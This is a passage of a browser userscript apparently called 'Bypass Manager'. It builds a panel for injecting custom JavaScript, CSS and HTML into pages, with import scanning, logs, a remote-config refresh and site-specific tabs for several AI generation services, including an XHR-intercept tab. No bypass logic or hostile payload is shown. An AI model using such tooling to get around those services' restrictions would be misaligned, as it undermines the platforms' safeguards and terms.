include: includeTa.value.split(/\r?\n/).map(s => s.trim()).filter(Boolean),
exclude: excludeTa.value.split(/\r?\n/).map(s => s.trim()).filter(Boolean),
code: {
js: jsEditor ? jsEditor.getValue() : state.js,
css: cssEditor ? cssEditor.getValue() : state.css,
html: htmlEditor ? htmlEditor.getValue() : state.html
}
};
updateDevInjectTask(taskId, patch);
showToast('Inject task saved', 'success');
devLog('inject', `Saved inject task "${task.name}"`, { taskId }, 'info', 'developer');
};
saveBtn.onclick = () => {
doSave();
updateUI();
};
runNowBtn.onclick = () => {
doSave();
const refreshed = loadDevInjectTasks().find(t => t.id === taskId);
if (refreshed) {
try {
executeInjectTask(refreshed, 'run-now');
showToast('Executed inject task (Run now)', 'success');
} catch (err) {
showToast(`Execution failed: ${err?.message || err}`, 'error');
}
}
};
center.appendChild(tabs);
center.appendChild(editorHost);
center.appendChild(footer);
body.appendChild(left);
body.appendChild(center);
body.appendChild(outline);
overlay.appendChild(header);
overlay.appendChild(body);
document.body.appendChild(overlay);
overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
refreshEditorsVisibility();
// Load parsers / editors (best-effort)
Promise.all([ensureAcorn(), ensureCodeMirror()]).then(([hasAcorn, hasCM]) => {
if (hasAcorn) {
validateJs();
refreshOutline();
}
if (!hasCM) return;
try {
// Upgrade textareas to CodeMirror
const cmTheme = settings.theme === 'dark' ? 'material-darker' : 'default';
jsEditor = window.CodeMirror.fromTextArea(jsTA, { mode: 'javascript', theme: cmTheme, lineNumbers: true, tabSize: 2, indentUnit: 2, viewportMargin: Infinity });
cssEditor = window.CodeMirror.fromTextArea(cssTA, { mode: 'css', theme: cmTheme, lineNumbers: true, tabSize: 2, indentUnit: 2, viewportMargin: Infinity });
htmlEditor = window.CodeMirror.fromTextArea(htmlTA, { mode: 'htmlmixed', theme: cmTheme, lineNumbers: true, tabSize: 2, indentUnit: 2, viewportMargin: Infinity });
jsEditor.setSize('100%', '100%');
cssEditor.setSize('100%', '100%');
htmlEditor.setSize('100%', '100%');
jsEditor.on('change', () => { state.js = jsEditor.getValue(); scheduleValidate(); });
cssEditor.on('change', () => { state.css = cssEditor.getValue(); });
htmlEditor.on('change', () => { state.html = htmlEditor.getValue(); });
refreshEditorsVisibility();
} catch (err) {
if (domInjectDebug) console.warn('[InjectEditor] Failed initializing CodeMirror:', err);
}
});
}
function createDevelopersInjectContent() {
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:12px; padding:12px;';
const colors = getThemeColors();
const note = document.createElement('div');
note.style.cssText = `
padding: 14px;
border-radius: 12px;
border: 2px solid ${colors.error};
background: rgba(239, 68, 68, 0.08);
color: ${colors.text};
line-height: 1.6;
font-size: 12px;
`;
note.innerHTML = `
<div style="font-weight:900; color:${colors.error}; display:flex; gap:10px; align-items:center; margin-bottom:6px;">
<i class="fas fa-triangle-exclamation"></i>
<span>Danger Zone: Code Injection</span>
</div>
<div style="color:${colors.textSecondary};">
This can execute custom JavaScript/HTML/CSS on pages you visit. If someone asks you to paste code here, <strong>don’t</strong> — only do it if you fully understand what you’re doing.
</div>
`;
wrap.appendChild(note);
const headerRow = document.createElement('div');
headerRow.style.cssText = `display:flex; gap:10px; align-items:center; justify-content:space-between; padding:12px; border:1px solid ${colors.border}; border-radius:12px; background:${colors.bgSecondary};`;
headerRow.innerHTML = `
<div style="display:flex; flex-direction:column; gap:4px;">
<div style="font-weight:900; color:${colors.text};"><i class="fas fa-syringe"></i> Scripts</div>
<div style="font-size:11px; color:${colors.textSecondary};">Create small, scoped scripts with URL rules. Stored locally.</div>
</div>
<div style="display:flex; gap:8px; align-items:center;">
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-import><i class="fas fa-file-import"></i> Import</button>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-export><i class="fas fa-file-export"></i> Export</button>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-templates><i class="fas fa-layer-group"></i> Templates</button>
<button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px; font-size:11px; font-weight:900;" data-add><i class="fas fa-plus"></i></button>
</div>
`;
wrap.appendChild(headerRow);
const list = document.createElement('div');
list.style.cssText = 'display:flex; flex-direction:column; gap:10px;';
wrap.appendChild(list);
const render = () => {
list.innerHTML = '';
const tasks = loadDevInjectTasks().sort((a, b) => String(b.updatedAt).localeCompare(String(a.updatedAt)));
if (!tasks.length) {
const empty = document.createElement('div');
empty.style.cssText = `padding:16px; border-radius:12px; border:1px dashed ${colors.border}; background: rgba(15,23,42,0.22); color:${colors.textSecondary}; font-size:12px; line-height:1.6;`;
empty.innerHTML = '<i class="fas fa-inbox"></i> No inject scripts yet. Click <strong>+</strong> to create one.';
list.appendChild(empty);
return;
}
for (const t of tasks) {
const card = document.createElement('div');
card.style.cssText = `padding:12px; border-radius:14px; border:1px solid ${t.enabled ? 'rgba(34,197,94,0.5)' : colors.border}; background:${colors.bgSecondary}; display:flex; gap:12px; align-items:flex-start;`;
const left = document.createElement('div');
left.style.cssText = 'display:flex; flex-direction:column; gap:8px;';
const enabledRow = document.createElement('label');
enabledRow.style.cssText = 'display:flex; gap:8px; align-items:center; cursor:pointer; font-size:12px; color:' + colors.textSecondary + ';';
const cb = document.createElement('input');
cb.type = 'checkbox';
cb.checked = !!t.enabled;
cb.onchange = () => {
updateDevInjectTask(t.id, { enabled: cb.checked });
devLog('inject', `${cb.checked ? 'Enabled' : 'Disabled'} inject task "${t.name}"`, { taskId: t.id }, 'info', 'developer');
render();
};
enabledRow.appendChild(cb);
enabledRow.appendChild(document.createTextNode('Enabled'));
left.appendChild(enabledRow);
const info = document.createElement('div');
info.style.cssText = 'flex:1; min-width:0;';
const last = t.lastErrorAt ? `<span style="color:${colors.error};">Last error</span> • ${escapeHtml(new Date(t.lastErrorAt).toLocaleString())}` : (t.lastRunAt ? `Last run • ${escapeHtml(new Date(t.lastRunAt).toLocaleString())}` : 'Never ran');
info.innerHTML = `
<div style="display:flex; gap:10px; align-items:center; justify-content:space-between;">
<div style="font-weight:900; font-size:13px; color:${colors.text}; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(t.name)}</div>
<div style="font-size:10px; color:${colors.textSecondary}; font-family:Consolas, 'Courier New', monospace;">${escapeHtml(t.id)}</div>
</div>
<div style="font-size:11px; color:${colors.textSecondary}; margin-top:6px; line-height:1.45;">
${escapeHtml(last)}
<div style="margin-top:4px;">Mode: <strong>${escapeHtml(t.matchMode)}</strong> • Domains: <strong>${escapeHtml((t.domains || []).join(', ') || '-') }</strong> • Run: <strong>${escapeHtml(t.runAt)}</strong></div>
</div>
${t.lastError ? `<div style="margin-top:8px; padding:8px 10px; border-radius:10px; border:1px solid rgba(239,68,68,0.35); background:rgba(239,68,68,0.08); color:#fca5a5; font-size:11px; white-space:pre-wrap;">${escapeHtml(t.lastError)}</div>` : ''}
`;
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; flex-direction:column; gap:8px; flex-shrink:0;';
const developBtn = document.createElement('button');
developBtn.className = 'bypass-btn bypass-btn-primary';
developBtn.style.cssText = 'width:auto; padding:8px 12px; font-size:11px; font-weight:900;';
developBtn.innerHTML = '<i class="fas fa-laptop-code"></i> Develop';
developBtn.onclick = () => showInjectEditorDialog(t.id);
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-secondary';
exportBtn.style.cssText = 'width:auto; padding:8px 12px; font-size:11px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export';
exportBtn.onclick = () => {
downloadJsonFile(`${sanitizeFilename(t.name || 'inject')}.inject.json`, { kind: 'bypass-inject-export', version: 1, exportedAt: new Date().toISOString(), task: t });
devLog('inject', `Exported inject task "${t.name}"`, { taskId: t.id }, 'info', 'developer');
};
const delBtn = document.createElement('button');
delBtn.className = 'bypass-btn bypass-btn-danger';
delBtn.style.cssText = 'width:auto; padding:8px 12px; font-size:11px;';
delBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
delBtn.onclick = () => {
showConfirmDialog(`Delete inject script "${t.name}"?`, () => {
deleteDevInjectTask(t.id);
devLog('inject', `Deleted inject task "${t.name}"`, { taskId: t.id }, 'warning', 'developer');
render();
});
};
actions.appendChild(developBtn);
actions.appendChild(exportBtn);
actions.appendChild(delBtn);
card.appendChild(left);
card.appendChild(info);
card.appendChild(actions);
list.appendChild(card);
}
};
const addBtn = headerRow.querySelector('[data-add]');
addBtn.onclick = () => {
showTextInputDialog({
title: 'Create Inject Script',
description: 'Choose a name for this inject task. You can change rules and code later in Develop.',
placeholder: 'My script name',
confirmLabel: 'Create'
}, (name) => {
if (!name) return;
const tasks = loadDevInjectTasks();
const t = normalizeDevInjectTask({
id: makeId('inject'),
name,
enabled: false,
createdAt: new Date().toISOString(),
updatedAt: new Date().toISOString(),
runAt: 'idle',
domains: [location.hostname],
matchMode: 'all',
include: [],
exclude: ['*/settings*'],
code: { js: '', css: '', html: '' }
});
tasks.push(t);
saveDevInjectTasks(tasks);
devLog('inject', `Created inject task "${t.name}"`, { taskId: t.id }, 'info', 'developer');
render();
showInjectEditorDialog(t.id);
});
};
const exportAllBtn = headerRow.querySelector('[data-export]');
exportAllBtn.onclick = () => {
const tasks = loadDevInjectTasks();
downloadJsonFile('bypass_inject_tasks.export.json', { kind: 'bypass-inject-export', version: 1, exportedAt: new Date().toISOString(), tasks });
showToast(`Exported ${tasks.length} inject task(s)`, 'success');
devLog('inject', 'Exported inject tasks bundle', { count: tasks.length }, 'info', 'developer');
};
const importBtn = headerRow.querySelector('[data-import]');
importBtn.onclick = () => {
const input = document.createElement('input');
input.type = 'file';
input.accept = '.json,.js,.txt';
input.onchange = async () => {
const file = input.files && input.files[0];
if (!file) return;
const text = await file.text();
const tryJson = () => {
try { return JSON.parse(text); } catch { return null; }
};
const parsed = tryJson();
let importedTasks = [];
let scanTarget = '';
if (parsed && typeof parsed === 'object') {
if (Array.isArray(parsed.tasks)) {
importedTasks = parsed.tasks;
} else if (parsed.task && typeof parsed.task === 'object') {
importedTasks = [parsed.task];
} else if (parsed.id && parsed.code) {
importedTasks = [parsed];
}
scanTarget = importedTasks.map(t => `${t?.code?.js || ''}\n${t?.code?.css || ''}\n${t?.code?.html || ''}`).join('\n');
} else {
// Treat as raw JS bundle.
importedTasks = [normalizeDevInjectTask({ name: file.name.replace(/\.[^.]+$/, ''), enabled: false, matchMode: 'all', domains: [location.hostname], code: { js: text, css: '', html: '' } })];
scanTarget = text;
}
importedTasks = importedTasks.map(normalizeDevInjectTask).filter(Boolean);
if (!importedTasks.length) {
showToast('Import failed: unrecognized file format', 'error');
return;
}
const hits = scanCodeForSensitiveAccess(scanTarget);
const doImport = () => {
const existing = loadDevInjectTasks();
// Avoid ID collisions.
const existingIds = new Set(existing.map(t => t.id));
const normalized = importedTasks.map(t => {
if (existingIds.has(t.id)) {
t.id = makeId('inject');
}
return normalizeDevInjectTask(t);
});
saveDevInjectTasks([...existing, ...normalized]);
showToast(`Imported ${normalized.length} inject task(s)`, 'success');
devLog('inject', 'Imported inject task(s)', { count: normalized.length, file: file.name }, 'info', 'developer');
render();
};
if (hits.length) {
showSecurityImportDialog({
title: 'Unsafe import detected',
hits,
onConfirm: doImport
});
} else {
doImport();
}
};
input.click();
};
const templatesBtn = headerRow.querySelector('[data-templates]');
templatesBtn.onclick = () => {
showInjectTemplatesDialog((tpl) => {
if (!tpl) return;
const tasks = loadDevInjectTasks();
const t = normalizeDevInjectTask({
id: makeId('inject'),
name: tpl.name,
...deepCloneValue(tpl.defaults || {}),
createdAt: new Date().toISOString(),
updatedAt: new Date().toISOString()
});
tasks.push(t);
saveDevInjectTasks(tasks);
devLog('inject', `Created inject task from template "${t.name}"`, { taskId: t.id, templateId: tpl.id }, 'info', 'developer');
render();
showInjectEditorDialog(t.id);
});
};
render();
return wrap;
}
function createDevelopersLogsContent() {
const wrap = document.createElement('div');
wrap.style.cssText = 'display:flex; flex-direction:column; gap:12px; padding:12px;';
const colors = getThemeColors();
const logs = loadDeveloperLogs();
const top = document.createElement('div');
top.style.cssText = `display:flex; flex-wrap:wrap; gap:8px; align-items:center; justify-content:space-between; padding:12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary};`;
top.innerHTML = `
<div style="display:flex; flex-direction:column; gap:4px;">
<div style="font-weight:900; color:${colors.text};"><i class="fas fa-list"></i> Logs</div>
<div style="font-size:11px; color:${colors.textSecondary};">${logs.length} entr${logs.length === 1 ? 'y' : 'ies'} • Max ${Math.max(50, Number(settings.developerMaxLogs) || 500)}</div>
</div>
<div style="display:flex; gap:8px; align-items:center;">
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-export><i class="fas fa-file-export"></i> Export</button>
<button class="bypass-btn bypass-btn-danger" style="width:auto; padding:8px 10px; font-size:11px;" data-clear><i class="fas fa-trash"></i> Clear</button>
</div>
`;
wrap.appendChild(top);
const filterRow = document.createElement('div');
filterRow.style.cssText = `display:flex; gap:8px; flex-wrap:wrap; align-items:center; padding:12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bg};`;
const search = document.createElement('input');
search.type = 'text';
search.placeholder = 'Search message / source / tag...';
search.style.cssText = `min-width:220px; flex:1; padding:9px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px;`;
const levelSel = document.createElement('select');
levelSel.style.cssText = `padding:9px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px;`;
levelSel.innerHTML = `<option value="">All levels</option><option value="error">error</option><option value="warning">warning</option><option value="info">info</option>`;
const tagSel = document.createElement('select');
tagSel.style.cssText = levelSel.style.cssText;
const tags = Array.from(new Set(loadDeveloperLogs().map(l => l.tag).filter(Boolean))).sort();
tagSel.innerHTML = `<option value="">All tags</option>` + tags.map(t => `<option value="${escapeHtml(t)}">${escapeHtml(t)}</option>`).join('');
filterRow.appendChild(search);
filterRow.appendChild(levelSel);
filterRow.appendChild(tagSel);
wrap.appendChild(filterRow);
const list = document.createElement('div');
list.style.cssText = 'display:flex; flex-direction:column; gap:8px;';
wrap.appendChild(list);
const render = () => {
const q = (search.value || '').trim().toLowerCase();
const lvl = levelSel.value;
const tag = tagSel.value;
const items = loadDeveloperLogs().slice().reverse().filter(l => {
if (lvl && l.level !== lvl) return false;
if (tag && l.tag !== tag) return false;
if (!q) return true;
const hay = `${l.message || ''} ${l.source || ''} ${l.tag || ''} ${l.ts || ''}`.toLowerCase();
return hay.includes(q);
});
list.innerHTML = '';
if (!items.length) {
const empty = document.createElement('div');
empty.style.cssText = `padding:16px; border-radius:12px; border:1px dashed ${colors.border}; background: rgba(15,23,42,0.22); color:${colors.textSecondary}; font-size:12px;`;
empty.innerHTML = '<i class="fas fa-inbox"></i> No logs match your filters.';
list.appendChild(empty);
return;
}
items.slice(0, 800).forEach(l => {
const levelColor = l.level === 'error' ? colors.error : l.level === 'warning' ? colors.warning : colors.primary;
const row = document.createElement('div');
row.style.cssText = `padding:12px; border-radius:14px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; display:flex; flex-direction:column; gap:8px;`;
const top = document.createElement('div');
top.style.cssText = 'display:flex; gap:10px; align-items:center; justify-content:space-between;';
top.innerHTML = `
<div style="display:flex; gap:10px; align-items:center; min-width:0;">
<span style="background:${levelColor}; color:white; font-size:10px; font-weight:900; padding:2px 8px; border-radius:999px; text-transform:uppercase;">${escapeHtml(l.level || 'info')}</span>
<span style="font-size:11px; color:${colors.textSecondary};">${escapeHtml(l.tag || 'developer')}</span>
<span style="font-size:11px; color:${colors.textSecondary};">•</span>
<span style="font-size:11px; color:${colors.textSecondary};">${escapeHtml(l.source || 'unknown')}</span>
</div>
<div style="font-size:10px; color:${colors.textSecondary}; font-family:Consolas, 'Courier New', monospace;">${escapeHtml(new Date(l.ts).toLocaleString())}</div>
`;
const msg = document.createElement('div');
msg.style.cssText = `font-size:12px; color:${colors.text}; line-height:1.55; white-space:pre-wrap; word-break:break-word;`;
msg.textContent = l.message || '';
row.appendChild(top);
row.appendChild(msg);
if (l.details) {
const details = document.createElement('details');
details.style.cssText = `border-top:1px dashed ${colors.border}; padding-top:8px;`;
const sum = document.createElement('summary');
sum.style.cssText = `cursor:pointer; color:${colors.textSecondary}; font-size:11px; font-weight:800;`;
sum.textContent = 'Details';
const pre = document.createElement('pre');
pre.style.cssText = `margin:8px 0 0 0; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.textSecondary}; overflow:auto; font-size:11px;`;
try {
pre.textContent = JSON.stringify(l.details, null, 2);
} catch {
pre.textContent = String(l.details);
}
details.appendChild(sum);
details.appendChild(pre);
row.appendChild(details);
}
list.appendChild(row);
});
};
search.oninput = () => render();
levelSel.onchange = () => render();
tagSel.onchange = () => render();
top.querySelector('[data-export]').onclick = () => {
const data = loadDeveloperLogs();
downloadJsonFile('bypass_developer_logs.json', { kind: 'bypass-developer-logs', version: 1, exportedAt: new Date().toISOString(), count: data.length, items: data });
showToast('Exported developer logs', 'success');
};
top.querySelector('[data-clear]').onclick = () => {
showConfirmDialog('Clear ALL developer logs?', () => {
saveDeveloperLogs([]);
devLog('logs', 'Developer logs cleared', null, 'warning', 'developer');
render();
updateUI();
});
};
render();
return wrap;
}
function createDevelopersContent() {
const outer = document.createElement('div');
outer.style.cssText = 'display:flex; flex-direction:column; gap:12px; height:100%;';
const bar = document.createElement('div');
bar.className = 'bypass-dev-subtabs';
const group = document.createElement('div');
group.className = 'bypass-dev-subtab-group';
const mkBtn = (id, label, icon) => {
const btn = document.createElement('button');
btn.className = 'bypass-dev-subtab-btn' + (developersSubTab === id ? ' active' : '');
btn.innerHTML = `<i class="fas ${icon}"></i> ${label}`;
btn.onclick = () => {
setDevelopersSubTab(id);
updateUI();
};
return btn;
};
group.appendChild(mkBtn('inject', 'Inject', 'fa-syringe'));
group.appendChild(mkBtn('logs', 'Logs', 'fa-list'));
group.appendChild(mkBtn('selectors', 'Selectors', 'fa-code'));
const hint = document.createElement('div');
hint.style.cssText = 'font-size:11px; color:#94a3b8; font-weight:600; display:flex; gap:8px; align-items:center;';
hint.innerHTML = '<i class="fas fa-wrench"></i> Developer tools';
bar.appendChild(group);
bar.appendChild(hint);
outer.appendChild(bar);
if (developersSubTab === 'inject') {
outer.appendChild(createDevelopersInjectContent());
} else if (developersSubTab === 'logs') {
outer.appendChild(createDevelopersLogsContent());
} else {
outer.appendChild(createDevelopersSelectorsContent());
}
return outer;
}
async function updateUI(skipFullRebuild = false) {
const renderToken = ++uiRenderToken;
const runtime = getRemoteRuntimeConfig();
const disableFloatingPanel = runtime.runtime_controls?.disable_floating_panel === true;
if (disableFloatingPanel) {
const existingContainer = document.querySelector('.bypass-container');
if (existingContainer) existingContainer.remove();
const collapsedBtn = document.querySelector('.bypass-collapsed-btn');
if (collapsedBtn) collapsedBtn.remove();
isExpanded = false;
return;
}
// If just updating items, don't rebuild entire UI
const existingContainer = document.querySelector('.bypass-container');
if (skipFullRebuild && existingContainer) {
const itemList = existingContainer.querySelector('.bypass-item-list');
if (itemList) {
itemList.innerHTML = '';
itemsData.forEach(item => {
const card = createItemCard(item);
itemList.appendChild(card);
});
}
return;
}
injectStyles();
await getToken();
if (!settings.enableTaskProfilesCreation && currentTab === 'profiles') {
currentTab = 'home';
}
if (!settings.sharedNetworkEnabled && currentTab === 'sharedNetwork') {
currentTab = 'home';
}
if (!settings.communityShareEnabled && currentTab === 'community') {
currentTab = 'home';
}
if (!shouldShowServicesTab(remoteConfig) && currentTab === 'services') {
currentTab = 'home';
}
if (IS_PIXVERSE_DOMAIN && !['home', 'settings', 'help', 'about', 'pixverseBackground'].includes(currentTab)) {
currentTab = 'home';
}
if (IS_DIGEN_DOMAIN && !['home', 'settings', 'help', 'about', 'digenBackground'].includes(currentTab)) {
currentTab = 'home';
}
if (IS_GROK_DOMAIN && !['home', 'settings', 'help', 'about', 'grokBackground'].includes(currentTab)) {
currentTab = 'home';
}
if (IS_HIGGSFIELD_DOMAIN && !['home', 'settings', 'help', 'about', 'higgsfieldBackground'].includes(currentTab)) {
currentTab = 'home';
}
if (IS_HAILUO_DOMAIN && !['home', 'settings', 'help', 'about', 'hailuoBackground'].includes(currentTab)) {
currentTab = 'home';
}
const isExternalFloatingDomain = IS_PIXVERSE_DOMAIN || IS_DIGEN_DOMAIN || IS_GROK_DOMAIN || IS_HIGGSFIELD_DOMAIN || IS_HAILUO_DOMAIN;
const shouldRenderCurrentDomainUi = shouldShowUiOnCurrentDomain();
const collapsedBtn = document.querySelector('.bypass-collapsed-btn');
if (isExternalFloatingDomain && !shouldRenderCurrentDomainUi) {
if (existingContainer) {
existingContainer.remove();
}
if (collapsedBtn) {
collapsedBtn.remove();
}
container = null;
isExpanded = false;
return;
}
if (!isExpanded) {
if (existingContainer) {
existingContainer.remove();
}
container = null;
createCollapsedButton();
if (collapsedBtn) {
collapsedBtn.style.display = 'flex';
}
return;
}
if (collapsedBtn) {
collapsedBtn.style.display = 'none';
}
// Create or reuse main container shell without destroying it every render.
const containerWasCreated = !existingContainer;
if (existingContainer) {
container = existingContainer;
} else {
container = document.createElement('div');
container.className = 'bypass-container';
}
// Always keep the class in sync (fullscreen adds a modifier class)
container.className = `bypass-container${settings.fullscreen ? ' bypass-fullscreen' : ''}`;
const width = settings.position.width || '420px';
const height = settings.position.height || '600px';
const hasRightPosition = typeof settings.position.right === 'string' && settings.position.right.trim() !== '' && settings.position.right !== 'auto';
const shouldCenterTransform = !!(settings.position.left && settings.position.left.includes('%') && settings.position.top && settings.position.top.includes('%'));
// Position container on right or left side (only when creating)
if (!existingContainer && !settings.fullscreen) {
if (hasRightPosition) {
container.style.right = settings.position.right;
container.style.left = 'auto';
} else {
container.style.left = settings.position.left;
container.style.right = 'auto';
}
container.style.top = settings.position.top;
container.style.width = width;
container.style.height = height;
container.style.transform = shouldCenterTransform ? 'translate(-50%, -50%)' : 'none';
}
// Fullscreen overrides
if (settings.fullscreen) {
container.style.top = '0px';
container.style.left = '0px';
container.style.right = '0px';
container.style.bottom = '0px';
container.style.width = '100vw';
container.style.height = '100vh';
container.style.transform = 'none';
} else {
// When leaving fullscreen, ensure we use current settings.position (restored from backup if present)
if (hasRightPosition) {
container.style.right = settings.position.right;
container.style.left = 'auto';
} else {
container.style.left = settings.position.left;
container.style.right = 'auto';
}
container.style.top = settings.position.top;
container.style.width = width;
container.style.height = height;
container.style.transform = shouldCenterTransform ? 'translate(-50%, -50%)' : 'none';
}
// Header
let header = container.querySelector('.bypass-header');
if (!header) {
header = document.createElement('div');
header.className = 'bypass-header';
}
header.className = 'bypass-header';
header.innerHTML = `
<div style="display: flex; justify-content: space-between; align-items: center; width: 100%;">
<div>
<h3 class="bypass-header-title">
<i class="fas fa-shield-alt"></i>
Bypass Manager
</h3>
<div class="bypass-header-message" data-bypass-header-message="true"></div>
<p style="margin: 4px 0 0 28px; font-size: 11px; opacity: 0.7; font-weight: 500;">
<i class="fas fa-code"></i> Developer: TheFreeOne Guy | Free Internet
</p>
</div>
<div class="bypass-header-actions">
<button class="bypass-btn-icon" title="Refresh remote config" id="remoteConfigRefreshBtn"><i class="fas fa-arrows-rotate"></i></button>
<button class="bypass-btn-icon" title="Theme" id="themeToggleBtn"><i class="fas fa-moon"></i></button>
<button class="bypass-btn-icon" title="Fullscreen" id="fullscreenToggleBtn"><i class="fas fa-expand"></i></button>
<button class="bypass-btn-icon" title="Collapse" id="closeBtn"><i class="fas fa-minus"></i></button>
</div>
</div>
`;
const remoteConfigRefreshBtn = header.querySelector('#remoteConfigRefreshBtn');
remoteConfigRefreshBtn.onclick = async (e) => {
e.preventDefault();
e.stopPropagation();
try {
remoteConfigRefreshBtn.disabled = true;
remoteConfigRefreshBtn.style.opacity = '0.6';
await fetchRemoteConfigWithOptions({ force: true, reason: 'manual-refresh' });
showToast('Remote config refreshed', 'success');
} catch (err) {
showToast(`Remote config refresh failed: ${err?.message || err}`, 'error');
} finally {
remoteConfigRefreshBtn.disabled = false;
remoteConfigRefreshBtn.style.opacity = '1';
startRemoteConfigWatcher();
}
};
const themeToggleBtn = header.querySelector('#themeToggleBtn');
themeToggleBtn.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
settings.theme = settings.theme === 'dark' ? 'light' : 'dark';
saveSettings();
updateUI();
};
const closeBtn = header.querySelector('#closeBtn');
closeBtn.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
isExpanded = false;
updateUI();
};
const fullscreenBtn = header.querySelector('#fullscreenToggleBtn');
if (settings.fullscreen) {
fullscreenBtn.classList.add('is-active');
fullscreenBtn.title = 'Exit Fullscreen';
fullscreenBtn.innerHTML = '<i class="fas fa-compress"></i>';
}
fullscreenBtn.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
try {
if (!settings.fullscreen) {
// Backup current position so we can restore it later.
settings.positionBeforeFullscreen = { ...settings.position };
settings.fullscreen = true;
} else {
settings.fullscreen = false;
if (settings.positionBeforeFullscreen) {
settings.position = { ...settings.position, ...settings.positionBeforeFullscreen };
}
settings.positionBeforeFullscreen = null;
}
saveSettings();
} catch (err) {
console.warn('[UI] Fullscreen toggle failed:', err);
}
updateUI();
};
if (renderToken !== uiRenderToken) return;
if (!header.isConnected) {
container.appendChild(header);
} else if (container.firstElementChild !== header) {
container.insertBefore(header, container.firstElementChild || null);
}
applyUpdateStateToHeader(header);
// Tabs
let tabs = container.querySelector('.bypass-tabs');
if (!tabs) {
tabs = document.createElement('div');
tabs.className = 'bypass-tabs';
tabs.addEventListener('wheel', (e) => {
if (e.deltaY !== 0) {
e.preventDefault();
tabs.scrollLeft += e.deltaY;
}
}, { passive: false });
}
tabs.className = 'bypass-tabs';
if (isExternalFloatingDomain) tabs.classList.add('bypass-tabs-external');
tabs.innerHTML = '';
const tensorInterceptTabBtn = createTabButton('Tensor XHR', 'tensorInterceptBackground', currentTab === 'tensorInterceptBackground');
const pixverseBgTabBtn = createTabButton('Background', 'pixverseBackground', currentTab === 'pixverseBackground');
const digenBgTabBtn = createTabButton('Background', 'digenBackground', currentTab === 'digenBackground');
const grokBgTabBtn = createTabButton('Background', 'grokBackground', currentTab === 'grokBackground');
const higgsfieldBgTabBtn = createTabButton('Background', 'higgsfieldBackground', currentTab === 'higgsfieldBackground');
const hailuoBgTabBtn = createTabButton('Background', 'hailuoBackground', currentTab === 'hailuoBackground');
const itemsTabBtn = createTabButton('Items', 'home', currentTab === 'home');
const tasksTabBtn = createTabButton('Download/Sent', 'tasks', currentTab === 'tasks');
const profilesTabBtn = createTabButton('Profiles', 'profiles', currentTab === 'profiles');
const accountsTabBtn = createTabButton('Accounts', 'accounts', currentTab === 'accounts');
const dataControlTabBtn = createTabButton('Data Control', 'dataControl', currentTab === 'dataControl');
const servicesTabBtn = createTabButton('Services', 'services', currentTab === 'services');
const communityTabBtn = createTabButton('Community', 'community', currentTab === 'community');
const sharedNetworkTabBtn = createTabButton('Shared Network', 'sharedNetwork', currentTab === 'sharedNetwork');
const settingsTabBtn = createTabButton('Settings', 'settings', currentTab === 'settings');
const developersTabBtn = createTabButton('Developers', 'developers', currentTab === 'developers');
const aboutTabBtn = createTabButton('About', 'about', currentTab === 'about');
const helpTabBtn = createTabButton('Help', 'help', currentTab === 'help');
if (IS_PIXVERSE_DOMAIN) {
tabs.appendChild(itemsTabBtn);
tabs.appendChild(pixverseBgTabBtn);
tabs.appendChild(settingsTabBtn);
tabs.appendChild(helpTabBtn);
tabs.appendChild(aboutTabBtn);
} else if (IS_DIGEN_DOMAIN) {
tabs.appendChild(itemsTabBtn);
tabs.appendChild(digenBgTabBtn);
tabs.appendChild(settingsTabBtn);
tabs.appendChild(helpTabBtn);
tabs.appendChild(aboutTabBtn);
} else if (IS_HIGGSFIELD_DOMAIN) {
tabs.appendChild(itemsTabBtn);
tabs.appendChild(higgsfieldBgTabBtn);
tabs.appendChild(settingsTabBtn);
tabs.appendChild(helpTabBtn);
tabs.appendChild(aboutTabBtn);
} else if (IS_HAILUO_DOMAIN) {
tabs.appendChild(itemsTabBtn);
tabs.appendChild(hailuoBgTabBtn);
tabs.appendChild(settingsTabBtn);
tabs.appendChild(helpTabBtn);
tabs.appendChild(aboutTabBtn);
} else if (IS_GROK_DOMAIN) {
tabs.appendChild(itemsTabBtn);
tabs.appendChild(grokBgTabBtn);
tabs.appendChild(settingsTabBtn);
tabs.appendChild(helpTabBtn);
tabs.appendChild(aboutTabBtn);
} else {
tabs.appendChild(itemsTabBtn);
tabs.appendChild(tasksTabBtn);
if (settings.enableTaskProfilesCreation) {
tabs.appendChild(profilesTabBtn);
}
tabs.appendChild(accountsTabBtn);
tabs.appendChild(dataControlTabBtn);
tabs.appendChild(tensorInterceptTabBtn);
if (shouldShowServicesTab(remoteConfig)) {
tabs.appendChild(servicesTabBtn);
}
if (settings.sharedNetworkEnabled) {
tabs.appendChild(sharedNetworkTabBtn);
}
if (settings.communityShareEnabled) {
tabs.appendChild(communityTabBtn);
}
tabs.appendChild(aboutTabBtn);
tabs.appendChild(settingsTabBtn);
tabs.appendChild(developersTabBtn);
tabs.appendChild(helpTabBtn);
}
if (renderToken !== uiRenderToken) return;
if (!tabs.isConnected) {
container.appendChild(tabs);
} else if (tabs.previousElementSibling !== header) {
container.insertBefore(tabs, header.nextSibling || null);
}
const taskStats = getTaskActionStats();
